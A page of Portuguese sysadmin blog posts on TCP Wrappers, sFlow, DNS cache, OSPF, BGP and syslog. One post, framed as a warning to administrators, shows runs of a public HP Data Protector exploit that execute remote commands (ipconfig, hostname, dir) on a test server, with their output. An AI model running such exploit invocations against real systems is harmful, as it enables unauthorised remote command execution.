Bloqueio de SSH com envio de e-mail

Uma boa prática de segurança é limitar acessos SSH aos servidores, há várias formas de fazer e logar  os acessos, nesse exemplo vamos utilizar uma velha ferramenta do GNU/Linux, TCP Wrappers.

De forma resumida, o TCP Wrappers é uma biblioteca com objetivo de criar controles de acessos sobre serviços TCP, ele trabalha com dois arquivos, hosts.allow e hosts.deny, as regras são definidas sobre esses arquivos.

Quando fazemos uma conexão SSH por exemplo, o TCP Wrapper vai analisar primeiramente o hosts.allow e verificar se a conexão é permitida, se o host (sourcE) não estiver presente no arquivo ele vai analisar o hosts.deny procurando alguma regra de bloqueio (por exemplo um ALL ou bloqueio do host específico). Nesse post vamos verificar como bloquear SSH com envio de e-mail e liberando o acesso somente para IP's específicos.

O primeiro passo é editar o arquivo hosts.allow, como abaixo.

#
# hosts.allow   This file describes the names of the hosts which are
#               allowed to use the local INET services, as decided
#               by the '/usr/sbin/tcpd' server.
#
sshd : [ Endereços liberados para acesso ]


Logo após, editamos o hosts.deny:

#
# hosts.deny    This file describes the names of the hosts which are
#               *not* allowed to use the local INET services, as decided
#               by the '/usr/sbin/tcpd' server.
#
sshd : ALL : spawn /bin/echo "$(hostname) - SSH - Acesso DENY - Client %h" |mailx -s "$(hostname) - SSH - Acesso DENY - Client %h" mail1@mail.com,mail2@mail.com

Estamos dizendo para o TCP Wrapper bloquear todos os acessos e enviar um e-mail a cada bloqueio. É possível adicionar vários e-mails bastando adicionar a ",". Também é possível utilizar "expansões", com o "%h" estamos falando para inserir o IP do cliente.

Exemplo do e-mail enviado:

server.hostname.com - SSH - Acesso DENY - Client 192.168.1.40

Claro, também é possível criar um "spawn" para envio de e-mails no hosts.allow.

O TCP Wrappers é um velho conhecido pelos administradores *nix porém pouco utilizado e explorado, a dica acima é um bom começo para incentivar a utilização e estudo da ferramenta.

Segue dicas de leitura:
http://www.cyberciti.biz/faq/tcp-wrappers-hosts-allow-deny-tutorial/
https://access.redhat.com/documentation/en-US/Red_Hat_Enterprise_Linux/6/html/Security_Guide/sect-Security_Guide-Server_Security.html

Abraços!

Read More

Trabalhando com sFlow em Switchs Procurve

O sFlow é uma ferramenta para coleta de fluxos de dados, esses fluxos coletados são chamados de samples e podem ser exportados para ferramentas de análise de tráfego assim analisando uso de protocolos, banda etc. Fluxo é uma comunicação 1-to-1, por exemplo uma troca de dados entre um host e um servidor.

Sflow é a opção "aberta" do NetFlow da Cisco e está definido na RFC 3176.

Hoje o Sflow é mantido por uma empresa chamada inmon, essa mesma empresa fornece um software muito bom para analise dos dados chamado sFlowTrend, vamos utilizar essa ferramenta para a coleta.

A configuração é bem simples, no modo de configuração do Switch, basta inserir os seguintes comandos

sflow 1 destination [ IP do Coletor ]

sflow 1 polling [ Portas que serão aplicadas ] [ Tempo de polling ]

sflow 1 sampling[ Portas que serão aplicadas ] [ Numero de pacotes ]

O "sflow 1" é o numero da sessão de sflow, os procurves tem limitação de 3 sessões por switch.

O parâmetro "polling" define que o switch deve coletar as informações a cada X segundos e exportar para o coletor.

Já o "sampling" define a quantidade de pacotes que serão analisados, sendo que será 1 pacote a cada 'N' valor que configurarmos(1/N).

A Inmon faz algumas recomendações sobre a quantidade de sampling a ser configurado, abaixo uma tabela com os valores recomendados de acordo com a velocidade de interface e ambiente.

Fonte: www.inmon.com

O valor de polling recomendado é de 30 segundos.

Abaixo como ficou minha configuração.

sflow 1 destination 10.9.11.254

sflow 1 polling 1-24 30

sflow 1 sampling 1-24 512

Podemos analisar as informações configuradas usando o show sflow.

O comando show sflow destination mostra as informações de destino.

O comando show sflow [ sessão ] sampling-polling permite verificar as configurações de sampling e polling configuradas.

Configurado o destino, podemos instalar o software sFlowTrend da inmon, o software pode ser baixado no link http://www.inmon.com/products/sFlowTrend.php, basta clicar em "Install".

Com o aplicativo aberto, temos que configurar o agente (o switch), para isso vamos em "Tools" e "Configure agents", na janela que abrir clicar em "Add Switch agent", preencher o IP do equipamento e ajustar as informações de SNMP (sim, os flows são recebidos por SNMP, existem MIB's especificas para os flows).

Feito isto, basta aguardar alguns minutos e já é possível verificar as informações através do dashboard.

Na guia "Network" e "Top N" podemos visualizar os "Top Sources".

Os "Top protocols"

Várias informações podem ser consultadas através do "chart".

Bom, hoje o administrador de rede possui várias ferramentas para auxiliar no gerenciamento e troubleshooting de rede porém muitos não as utilizam ou não as conhecem. O sflow é uma ótima opção e está disponível na maioria dos switches atuais no mercado.

Recomendo a leitura  do link abaixo da inmon aonde podemos verificar configurações para diversos vendors e algumas recomendações.

http://www.inmon.com/products/sFlowTrend/help/html/appendix.switch-sflow.cli.html

Read More

Remover entrada em cache Windows DNS

Essa dica é para remover uma entrada cache DNS no Windows Server, muito útil caso algum site troque o IP e você fique sem acesso pela demora de updade do DNS.

1. Acesse a console do DNS pelo servidor ou via MMC em alguma estação de trabalho, vá em "Roles" depois em "DNS Server", clique em "DNS", logo após clique em "View" na barra de ferramentas e selecione a opção "Advanced".

2. Expanda  o "DNS", expanda o servidor, depois "Cached Lookups" e clique em .root.

Após isso deve-se verificar o DNS que quer limpar e verificar o gTLDs do domínio, no caso estou selecionando o BR.

3. Selecionar o domínio desejado, clicar com botão direito e Delete.

Nesse caso, eliminamos a entrada cache do DNS, no cliente basta executar um "ipconfig /flushdns" e dar um ping para o endereço, assim o servidor vai resolver o novo DNS com o ip atualizado.

Read More

Resumo OSPF - LSAs

Breve resumo dos principais LSAs do OSPF.

- LSA tipo 1 -
- Gerado por todos os roteadores e são locais (dentro da área)
- O ID do pacote LSA é a ID do roteador
- Representa o roteador e os links diretamente conectados

- LSA Tipo 2 -
- Gerado em redes multiacesso e NBMA pelo DR
- O ID do pacote LSA é o ip da interface que originou

- LSA Tipo 3 -
- Gerado pelo ABR e somente em redes multi-area
- Identifica cada rede aprendida com os LSA tipo 1
- Caso sejam exportadas várias redes pode causar sobrecarga, é recomendado sumarizar
- O ID do pacote LSA é o IP da subrede, pode levar a mascará também

- LSA Tipo 4 -
- Gerado por ABR
- Identifica o ASBR da área
- Os roteadores precisam saber aonde encontrar um ASBR, por isso a existência desse LSA
- O roteador ASBR gera o LSA-Type 1 com um bit externo ativo, o ABR identifica esse LSA e passa a encaminha LSA type-4 identificando esse roteador como ASBR.
- O ID é o router ID

- LSA Tipo 5
- Representa rotas externas ao dominio OSPF - Redes não ospf
- Gerado por ASBR
- Inundado por toda a área e regenerados por ABR's
- O ID é o endereço da rede externo

Read More

Definir saída para rota no BGP MultiHomed

Surgiu uma necessidade para fazermos uma rota sair por outra operadora no nosso quagga porém sem usar rota estática. Há algumas formas de fazer isso, utilizei o local-preference, segue a dica:

1. Criar uma prefix-list identificando a rota desejada
ip prefix-list Rota_Embratel seq 20 permit 74.125.30.0/24

Obs.: Esse prefix-list da match em uma rota do google.

2. Depois vamos criar uma route map, normalmente já existe uma route-map para os peers, então criamos uma com SEQ menor.


route-map OI_IN permit 7
 match ip address prefix-list Rota_Embratel
 set local-preference 120
!
route-map EMBRATEL_IN permit 7
 match ip address prefix-list Rota_Embratel
 set local-preference 150

Setamos a local-preference para 150 para a rota recebida da embratel e 120 para a rota recebida da OI, o maior local-pref será escolhido.

3. Provavelmente deve existir uma route map aplicada nos peers, caso não exista temos que aplica-la.

router bgp xxxx

 neighbor xxxx  route-map OI_IN  in
 neighbor xxxx   route-map EMBRATEL_IN in

Estamos aplicando a route-map para as rotas RECEBIDAS de ambas as operadoras, isso não afeta as rotas outbound (rotas que vc está anunciando)

4. Executar um "reconfigure" para os peers
Clear ip bgp [peer] soft in

Após isso é só verificar a rota com o "show ip bgp  74.125.30.0/24"

Vemos que a rota com maior local-pref foi a escolhida e a "segunda" rota ficou com 120 de local-pref, assim caso a primeira rota caia o destino continua acessível.

Read More

Falha de segurança HP Data Protector

Fiz testes e uma falha de segurança do HP data protector com o exploit do link abaixo e o mesmo funcionou corretamente. Fica o alerta para os administradores, acredito que uma atualização resolva o problema, vou postar os resultados assim que nós atualizarmos o software.

Fiz os testes com um sistema linux, o servidor Data Protector está em um sistema windows.

Segue o exploit:

http://www.exploit-db.com/exploits/27400/

Testes:

[root@proxyteste ~]# python loler.py 10.1.1.1 5555 ipconfig

[*] Connecting to target '10.1.1.1:5555'...

[*] Connected to the target.

[*] Sending payload 'ipconfig'

[*] Output:

Windows IP Configuration

Ethernet adapter Local Area Connection 7:

    Connection-specific DNS Suffix  . :

    IPv4 Address. . . . . . . . . . . : 10.1.1.1

    Subnet Mask . . . . . . . . . . . : 255.255.0.0

    Default Gateway . . . . . . . . . : 10.1.1.254

....

[root@proxyteste ~]# python loler.py 10.1.1.1 5555 hostname

[*] Connecting to target '10.1.1.1:5555'...

[*] Connected to the target.

[*] Sending payload 'hostname'

[*] Output:

DPSERVER

...

[root@proxyteste ~]# python loler.py 10.1.1.1 5555 'dir c:' | less

  Volume in drive C has no label.

  Volume Serial Number is 72AF-MD27

  Directory of C:\Windows\System32

10/26/2012  07:36 AM    <DIR>          .

10/26/2012  07:36 AM    <DIR>          ..

01/19/2008  11:02 AM    <DIR>          0409

09/18/2006  06:28 PM             2,151 12520437.cpx

09/18/2006  06:28 PM             2,233 12520850.cpx

09/18/2006  06:32 PM         1,228,100 8point1.wav

04/11/2009  01:12 PM           136,192 aaclient.dll

04/11/2009  01:11 PM         2,515,968 accessibilitycpl.dll

Read More

Trabalhando com syslog em Switches HP

Essa dica é para trabalhar com logs em switches HP e 3com, redirecionado os logs para um servidor syslog.

O syslog é uma ótima forma para monitorar e descobrir problemas na rede, com ele podemos receber alertas do switch em um servidor syslog e tomar as ações necessárias em caso de problemas.

A RFC do syslog é a RFC 3164. Há vários níveis do syslog que documentam desde problemas a um simples login no equipamento.

Vamos as configurações!

No modo system inserir os seguintes comandos:

info-center enable

info-center loghost [ip do servidor syslog]

info-center source default channel 2 log level error trap state off

Explicação dos comandos.

1 - info-center enable

Habilita o info-center, feature dos Switches 3com para logs do sistema, por padrão já vem habilitado nos switchs.

2- info-center loghost [ip do servidor syslog]

Configura o servidor para envio dos logs.

3- info-center source default channel 2 log level error trap state off

Com esse cara você define o nível do log.

Existem 8 niveis de erros conforme imagem abaixo:

Fonte: http://www.ietf.org/rfc/rfc3164.txt

Nesse caso ativei o nivel "erros".
O parâmetro "trap state" define se será enviado ou não traps para o syslog server, essas são as traps SNMP, que enviam alertas como UP/DOWN de interfaces e problemas em geral. Outro parâmetro que poderia ser configurado é o "debug state" que envia informações de debug, por padrão já vem desabilitado.


A forma que os logs serão recebidos será dessa forma:

<priority>timestamp sysname module/level/digest:content

Exemplo:

<185>Aug 10 07:36:40 2013 Switch STP/2/SPEED:- 1 -Ethernet1/0/17's speed changed!

1 - Prioridade(priority): Prioridade do log, existe uma formula para o seu calculo:
facility*8+severity-1

facility, o valor padrão é 23 - O facility define o que gerou o log no sistema, em sistemas unix o valor vai de 0 a 15, do 16 ao 23 é reservado.

Severity é o nivel do log conforme a imagem acima, no nosso caso, o nível configurado foi o 3 porém essa é uma mensagem de nível critico, que seria o valor 2.

No exemplo acima, a formula ficaria assim:
23*8+2-1=185.

2 - Timestamp: O horário no qual o sistema gerou o log, esse horário é o horário que está no Switch.
3 - Sysname - Nome do switch
4 - Modulo do syslog/Nivel/alerta(resumido).
5 - O alerta em si, mostrando a mensagem do alerta.

Esse procedimento se aplica para os Conware, para Procurve muda alguns comandos, abaixo exemplo para procurve

1- logging severity warning
Define nivel dos logs

2-  logging [ip do servidor syslog]
Configura o servidor para envio dos logs.

E é isso.
Obrigado pela leitura e boa configuração a todos!

Fonte: Foram verificados os manuais dos equipamentos 3com 4210 e 5500.

Read More